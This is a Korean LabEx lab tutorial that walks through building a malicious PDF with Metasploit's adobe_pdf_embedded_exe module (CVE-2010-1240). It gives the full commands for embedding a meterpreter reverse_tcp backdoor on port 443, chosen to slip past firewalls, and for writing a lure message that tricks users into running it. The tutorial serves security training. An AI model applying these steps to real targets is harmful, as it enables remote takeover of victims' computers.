소개
이 랩에서는 Adobe PDF 의 임베디드 모듈 취약점을 활용하여 Windows 백도어를 주입하는 방법을 살펴봅니다. 랩 과정은 백도어를 포함하는 PDF 파일을 Windows 호스트로 전송하는 것으로 구성되며, 대상 Windows 시스템은 소유자가 Adobe Reader 를 사용하여 PDF 파일을 열 때 감염됩니다.
LabEx 에서 제공하는 랩 환경에는 Windows 가상 머신이 없으므로 공격의 효과를 확인할 수 없습니다. 랩 과정은 백도어 프로그램을 임베드하는 방법만 시연합니다.
또한, 이 랩에서는 대상 머신을 시작할 필요가 없습니다. Kali Linux 환경만 시작하면 되며, 성공적으로 생성된 PDF 파일은 Kali 호스트의 /root/ 디렉토리에 위치하게 됩니다.
Metasploit Framework 콘솔 시작
이제 실험을 위해 공격 머신 (Kali Linux 컨테이너) 과 대상 머신 (Metasploitable2 가상 머신) 을 시작합니다.
- LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2
대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 소요될 수 있습니다.
- 대상 머신에 대한 연결을 테스트하기 위해 ping 을 수행합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
- 다음을 실행하여 Kali Linux 컨테이너를 시작하고 bash 환경에 진입합니다.
docker run -ti --network host b5b709a49cd5 bash
- Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.
참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 진입하여 실험을 계속할 수 있습니다.
Kali Linux 컨테이너에서 Kali Linux bash 터미널에 다음 명령을 입력합니다.
service postgresql start
msfdb init
cd ~
msfconsole
이렇게 하면 PostgreSQL 데이터베이스 서비스가 시작되고, 데이터베이스가 초기화되며, 추가 작업을 위해 Metasploit Framework Console (msfconsole) 이 시작됩니다.
익스플로잇 모듈 사용
msfconsole에서 다음 명령을 실행하여 익스플로잇 모듈을 사용합니다.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
이렇게 하면 실행 가능한 페이로드를 PDF 파일에 임베드할 수 있게 해주는 adobe_pdf_embedded_exe 익스플로잇 모듈이 로드됩니다.
show options 명령을 사용하여 익스플로잇 모듈의 구성 가능한 옵션을 확인합니다.
show options
그러면 다음과 같은 사용 가능한 옵션이 표시됩니다.
EXENAME: PDF 에 임베드할 실행 파일의 경로입니다.FILENAME: 출력 PDF 파일의 이름 (기본값:evil.pdf).INFILENAME: 입력 PDF 파일의 전체 경로 (기본값: 내장 PDF 파일).LAUNCH_MESSAGE: 임베드된 실행 파일을 실행하도록 사용자를 속이기 위한 메시지 프롬프트입니다.
대부분의 옵션은 기본값을 그대로 둘 수 있지만, 감염시키려는 입력 PDF 파일의 경로를 지정하기 위해 INFILENAME 옵션을 설정할 수 있습니다.
옵션을 구성한 후 exploit 명령을 사용하여 공격을 실행합니다.
exploit
이렇게 하면 페이로드가 지정된 입력 PDF 파일에 임베드되고 임베드된 실행 파일이 있는 새 PDF 파일이 생성됩니다.
Metasploit 콘솔을 종료하고 검사를 시작하려면 Ctrl+D 를 누르십시오.
출력 결과 검토
익스플로잇을 실행한 후, 악성 페이로드를 포함하는 생성된 PDF 파일은 /root/.msf4/local/evil.pdf에 위치합니다. msfconsole을 종료하고 파일을 검사할 수 있습니다.
ls -l /root/.msf4/local/evil.pdf
파일 크기가 증가한 것을 확인할 수 있으며, 이는 임베드된 실행 파일이 존재함을 나타냅니다. PDF 파일을 열면 구성된 시작 메시지가 표시되어 사용자에게 클릭하여 임베드된 프로그램을 실행하도록 유도합니다.
사용자 지정 페이로드 설정
감염된 PDF 의 가치를 높이기 위해 사용자 지정 페이로드를 설정할 수 있습니다.
msfconsole을 다시 입력합니다.
cd ~
msfconsole
msfconsole에서 이전 단계를 따라 공격 모듈을 선택합니다.
use exploit/windows/fileformat/adobe_pdf_embedded_exe
이번에는 windows/meterpreter/reverse_tcp 페이로드를 사용합니다. 이는 손상된 호스트에서 공격자의 시스템으로 TCP 연결을 설정하는 Meterpreter 백도어로서, 손상된 시스템에 직접 접근할 수 있게 해줍니다. 필요에 따라 show payloads 명령을 사용하여 다른 페이로드를 보고 선택할 수 있습니다.
windows/meterpreter/reverse_tcp 페이로드를 설정합니다.
set payload windows/meterpreter/reverse_tcp
수신 연결을 받기 위해 Kali 호스트의 IP 주소와 포트를 지정하여 페이로드를 구성합니다. 대상 호스트가 Kali 호스트에 연결할 수 있는지 확인합니다.
set lhost 192.168.122.1
포트 443 을 사용하면 일부 방화벽을 우회하는 데 도움이 될 수 있습니다.
set lport 443
그런 다음 exploit 명령을 사용하여 악성 PDF 를 생성합니다.
exploit
Metasploit 콘솔을 종료하고 검사를 시작하려면 Ctrl+D 를 누르십시오.
출력 결과 재검토
생성된 PDF 파일의 크기를 확인합니다.
ls -l /root/.msf4/local/evil.pdf
windows/meterpreter/reverse_tcp 페이로드가 더 작기 때문에 파일 크기가 기본 페이로드보다 작다는 것을 알 수 있습니다.
요약
이 랩에서는 PDF 파일에 포함된 콘텐츠를 검증하지 못하는 Adobe Reader 취약점 (CVE-2010-1240) 을 활용하는 방법을 배웠습니다. PDF 파일에 백도어 프로그램을 포함시키고 사용자가 이를 실행하도록 속임으로써 대상 Windows 호스트에 접근할 수 있습니다. 이 랩에서 다룬 주요 내용은 다음과 같습니다.
- 기본 Linux 명령어
- Metasploit Framework 콘솔 작업
- Adobe PDF Embedded EXE 취약점 (CVE-2010-1240) 소개
- 취약점을 악용하고 백도어 프로그램을 포함시키는 방법
이 랩은 포함된 페이로드를 사용하여 악성 PDF 파일을 생성하고, 다양한 옵션을 구성하며, 파일 크기에 대한 다양한 페이로드의 영향을 이해하는 실습 경험을 제공했습니다. 이 지식은 실제 시나리오에서 이러한 공격을 이해하고 완화하는 데 유용할 수 있습니다.



